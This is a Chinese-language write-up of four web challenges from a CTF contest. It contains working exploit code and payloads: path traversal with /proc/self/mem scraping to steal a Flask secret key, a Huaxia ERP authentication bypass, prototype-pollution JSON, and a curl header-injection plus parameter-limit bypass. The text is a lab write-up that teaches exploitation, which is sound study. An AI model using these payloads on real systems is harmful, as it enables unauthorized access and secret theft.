^-^
NepnepxCATCTF 部分WP
  1. Web
    1. catcat
    2. ezbypass
    3. wife(复现)
    4. ez_curl（复现）

Web

catcat

  • 跟2022蓝帽杯的file_session存在一样的考点公众号

在http://223.112.5.156:54007/info?file=../app.py存在任意文件读取

查看app.py源码

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b'import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""

app = Flask(
 __name__,
 static_url_path='/', 
 static_folder='static' 
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
 flag = cat("/flag")
 os.remove("/flag")

@app.route('/', methods=['GET'])
def index():
 detailtxt = os.listdir('./details/')
 cats_list = []
 for i in detailtxt:
 cats_list.append(i[:i.index('.')])
 
 return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
 filename = "./details/" + request.args.get('file', "")
 start = request.args.get('start', "0")
 end = request.args.get('end', "0")
 name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
 
 return render_template("detail.html", catname=name, info=cat(filename, start, end))
 


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
 if session.get('admin') == 1:
 return flag
 else:
 session['admin'] = 0
 return "NoNoNo"



if __name__ == '__main__':
 app.run(host='0.0.0.0', debug=False, port=5637)'

发现他对/flag调用了cat()后把flag删了，然后再看看cat.py

cat.py

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import os, sys, getopt

def cat(filename, start=0, end=0)->bytes:
 data = ''
 try:
 start = int(start)
 end = int(end)
 except:
 start=0
 end=0
 if filename != "" and os.access(filename, os.R_OK):
 f = open(filename, "rb")

 if start >= 0:

 f.seek(start)

 if end >= start and end != 0:

 data = f.read(end-start)

 

 else:

 data = f.read()

 

 else:

 data = f.read()

 

 f.close()

 

 else:

 data = ("File `%s` not exist or can not be read" % filename).encode()

 

 return data



if __name__ == '__main__':

 opts,args = getopt.getopt(sys.argv[1:],'-h-f:-s:-e:',['help','file=','start=','end='])

 fileName = ""

 start = 0

 end = 0

 

 for opt_name, opt_value in opts:

 if opt_name == '-h' or opt_name == '--help':

 print("[*] Help")

 print("-f --file File name")

 print("-s --start Start position")

 print("-e --end End position")

 print("[*] Example of reading /etc/passwd")

 print("python3 cat.py -f /etc/passwd")

 print("python3 cat.py --file /etc/passwd")

 print("python3 cat.py -f /etc/passwd -s 1")

 print("python3 cat.py -f /etc/passwd -e 5")

 print("python3 cat.py -f /etc/passwd -s 1 -e 5")

 exit()


 elif opt_name == '-f' or opt_name == '--file':

 fileName = opt_value

 

 elif opt_name == '-s' or opt_name == '--start':

 start = opt_value

 

 elif opt_name == '-e' or opt_name == '--end':

 end = opt_value


 if fileName != "":

 print(cat(fileName, start, end)) 

 

 else:

 print("No file to read")'

可以发现，这个函数是使用了seek来调整文件读取位置的

因为python的对象都是存储在堆上的，所以先在/proc/self/maps上找到堆栈分布，找偏移量为0的（不知道为什么，反正是照着蓝帽杯的exp猜测的）

然后在/proc/self/mem里通过对应的偏移量找key

改一下蓝帽杯的exp

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import requests, re

url = "http://223.112.5.156:50603/"
maps_url = f"{url}/info?file=../../../../../proc/self/maps"
#需要匹配的堆地址，这里的格式是否固定我不确定，因为不清楚作用
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
#从/proc/self/maps中匹配堆地址位置
maps = re.findall(maps_reg, requests.get(maps_url).text)
# print(maps)
#从匹配到的结果一个个遍历读取
for m in maps:
    start, end = m.split("-")[0], m.split("-")[1]
    start, end = str(int(start, 16)), str(int(end, 16))
    read_url = f"{url}/info?file=../../../../../proc/self/mem&start={start}&end={end}"
    s = requests.get(read_url).content
    # print(s)
    # 匹配的secret_key格式
    rt = re.findall(b"[a-z0-9]{8}[a-z0-9]{4}[a-z0-9]{4}[a-z0-9]{4}[a-z0-9]{12}\*abcdefgh", s)
    #匹配flag
    # rt=re.findall(b"[a-zA-z]{6}\{[a-zA-Z0-9-_]*\}",s)
    if rt:
        print(rt)

得到key，伪造session，访问/admin，得到flag

或者直接得到flag

ezbypass

  • 华夏erp授权绕过

参考华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行

就是说url里存在

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.css#.js#.jpg#.png#.gif#.ico

就不会进行认证，从而绕过登录

payload

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GET /a.css/../flag.html

要在burp里传

image-20221231181923887

wife(复现)

题目提示了后端使用了Object.assign()，跟这个很像twitter

Object.assign() 方法将所有可枚举（Object.propertyIsEnumerable() 返回 true）的自有（Object.hasOwnProperty() 返回 true）属性从一个或多个源对象复制到目标对象，返回修改后的对象。

对象合并：将源对象里面的属性添加到目标对象中去，

若两者的属性名有冲突，后面的将会覆盖前面的

且在注册页面传的是json格式的数据，所以可能存在原型链污染

本地测试一下

image-20230102183721539

为了符号题目环境，所以是对json格式的数据进行了解析，再进行Object.assign()

payload

在注册页面

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{"username":"admin12","password":"admin",
"__proto__":{"isAdmin":true}
}

登录获得flag

ez_curl（复现）

附件得到

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const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
    }
});

app.listen({ port: port , host: '0.0.0.0'});

就是说传参里admin!=false，http头里admin:true

题目得到

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<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
    $offset = stripos($headers[$i], ':');
    $key = substr($headers[$i], 0, $offset);
    $value = substr($headers[$i], $offset + 1);
    if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
        die('try hard');
    }
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;

可以知道，就是把php://input得到的值，分别作为params和headers进行curl，访问js所在的服务，然后获得flag

image-20230102194209112

所以就是找方法绕过这个检测

可以使用换行绕过

1:1\nadmin:true

stripos只会对”1:1”进行截取，从而绕过检测

然后就是让参数里admin=true

我们只能在前面进行拼接

express文档中，可以知道有对参数进行限制，只能有1000个键值对，如果多于1000，就舍弃多出来的键值对

image-20230102204026477

在这个文章里也有讲到踩坑parameterLimit - 神秘的1000parse限制

所以我们构造一下参数，让admin=flase不在这1000个参数里面

因为这里是使用http_build_query来生成参数，所以要传关联数组

传参里应该为

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{
    "headers":"1:1\nadmin:true",
	"params":{"a":"b","b":"c".........}
}

而且键不能相同，否则会覆盖前面的值

最终的payload

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{"headers":"1:1\nadmin:true",
"params":{"admin":1,"admin0":"0","admin1":"1","admin2":"2","admin3":"3","admin4":"4","admin5":"5","admin6":"6","admin7":"7","admin8":"8","admin9":"9","admin10":"10","admin11":"11","admin12":"12","admin13":"13","admin14":"14","admin15":"15","admin16":"16","admin17":"17","admin18":"18","admin19":"19","admin20":"20","admin21":"21","admin22":"22","admin23":"23","admin24":"24","admin25":"25","admin26":"26","admin27":"27","admin28":"28","admin29":"29","admin30":"30","admin31":"31","admin32":"32","admin33":"33","admin34":"34","admin35":"35","admin36":"36","admin37":"37","admin38":"38","admin39":"39","admin40":"40","admin41":"41","admin42":"42","admin43":"43","admin44":"44","admin45":"45","admin46":"46","admin47":"47","admin48":"48","admin49":"49","admin50":"50","admin51":"51","admin52":"52","admin53":"53","admin54":"54","admin55":"55","admin56":"56","admin57":"57","admin58":"58","admin59":"59","admin60":"60","admin61":"61","admin62":"62","admin63":"63","admin64":"64","admin65":"65","admin66":"66","admin67":"67","admin68":"68","admin69":"69","admin70":"70","admin71":"71","admin72":"72","admin73":"73","admin74":"74","admin75":"75","admin76":"76","admin77":"77","admin78":"78","admin79":"79","admin80":"80","admin81":"81","admin82":"82","admin83":"83","admin84":"84","admin85":"85","admin86":"86","admin87":"87","admin88":"88","admin89":"89","admin90":"90","admin91":"91","admin92":"92","admin93":"93","admin94":"94","admin95":"95","admin96":"96","admin97":"97","admin98":"98","admin99":"99","admin100":"100","admin101":"101","admin102":"102","admin103":"103","admin104":"104","admin105":"105","admin106":"106","admin107":"107","admin108":"108","admin109":"109","admin110":"110","admin111":"111","admin112":"112","admin113":"113","admin114":"114","admin115":"115","admin116":"116","admin117":"117","admin118":"118","admin119":"119","admin120":"120","admin121":"121","admin122":"122","admin123":"123","admin124":"124","admin125":"125","admin126":"126","admin127":"127","admin128":"128","admin129":"129","admin130":"130","admin131":"131","admin132":"132","admin133":"133","admin134":"134","admin135":"135","admin136":"136","admin137":"137","admin138":"138","admin139":"139","admin140":"140","admin141":"141","admin142":"142","admin143":"143","admin144":"144","admin145":"145","admin146":"146","admin147":"147","admin148":"148","admin149":"149","admin150":"150","admin151":"151","admin152":"152","admin153":"153","admin154":"154","admin155":"155","admin156":"156","admin157":"157","admin158":"158","admin159":"159","admin160":"160","admin161":"161","admin162":"162","admin163":"163","admin164":"164","admin165":"165","admin166":"166","admin167":"167","admin168":"168","admin169":"169","admin170":"170","admin171":"171","admin172":"172","admin173":"173","admin174":"174","admin175":"175","admin176":"176","admin177":"177","admin178":"178","admin179":"179","admin180":"180","admin181":"181","admin182":"182","admin183":"183","admin184":"184","admin185":"185","admin186":"186","admin187":"187","admin188":"188","admin189":"189","admin190":"190","admin191":"191","admin192":"192","admin193":"193","admin194":"194","admin195":"195","admin196":"196","admin197":"197","admin198":"198","admin199":"199","admin200":"200","admin201":"201","admin202":"202","admin203":"203","admin204":"204","admin205":"205","admin206":"206","admin207":"207","admin208":"208","admin209":"209","admin210":"210","admin211":"211","admin212":"212","admin213":"213","admin214":"214","admin215":"215","admin216":"216","admin217":"217","admin218":"218","admin219":"219","admin220":"220","admin221":"221","admin222":"222","admin223":"223","admin224":"224","admin225":"225","admin226":"226","admin227":"227","admin228":"228","admin229":"229","admin230":"230","admin231":"231","admin232":"232","admin233":"233","admin234":"234","admin235":"235","admin236":"236","admin237":"237","admin238":"238","admin239":"239","admin240":"240","admin241":"241","admin242":"242","admin243":"243","admin244":"244","admin245":"245","admin246":"246","admin247":"247","admin248":"248","admin249":"249","admin250":"250","admin251":"251","admin252":"252","admin253":"253","admin254":"254","admin255":"255","admin256":"256","admin257":"257","admin258":"258","admin259":"259","admin260":"260","admin261":"261","admin262":"262","admin263":"263","admin264":"264","admin265":"265","admin266":"266","admin267":"267","admin268":"268","admin269":"269","admin270":"270","admin271":"271","admin272":"272","admin273":"273","admin274":"274","admin275":"275","admin276":"276","admin277":"277","admin278":"278","admin279":"279","admin280":"280","admin281":"281","admin282":"282","admin283":"283","admin284":"284","admin285":"285","admin286":"286","admin287":"287","admin288":"288","admin289":"289","admin290":"290","admin291":"291","admin292":"292","admin293":"293","admin294":"294","admin295":"295","admin296":"296","admin297":"297","admin298":"298","admin299":"299","admin300":"300","admin301":"301","admin302":"302","admin303":"303","admin304":"304","admin305":"305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